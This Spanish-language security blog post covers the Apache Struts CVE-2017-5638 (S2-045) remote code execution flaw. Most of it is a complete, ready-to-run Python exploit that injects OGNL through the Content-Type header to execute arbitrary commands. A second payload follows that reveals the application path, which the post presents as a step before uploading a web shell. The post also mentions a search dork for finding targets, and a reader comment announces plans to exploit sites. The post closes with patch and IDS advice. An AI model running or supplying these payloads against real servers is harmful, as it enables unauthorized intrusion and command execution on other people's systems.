Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro

Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atención a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts. 

El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py <url> "<command>"
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")

    else:

        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)

        exploit(url, cmd)

Si lo ejecutáis contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:


Cualquier búsqueda en Google con un dork 'filetype:action' arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dramático.
 
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de 'advisories' y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:
def getpath(url):

payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath(\"/\")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)

Como veis la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores) 
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt

Comentarios

  1. Que desmadre. Estamos a principios de marzo y ya van 2500 vulnerabilidades descubiertas.

    ResponderEliminar
  2. Es importante destacar que el ataque es efectivo incluso si nuesto sitio de hecho no usa la funcionalidad de upload (no implementa subida de archivos por parte de los usuarios).

    ResponderEliminar
  3. Bueno estoy aburrido y con ganas de ayudar con lo cual me pondré un buen rato a explotar dicha vuln y luego a reportarlo a su respectivo dueño.

    ResponderEliminar

Publicar un comentario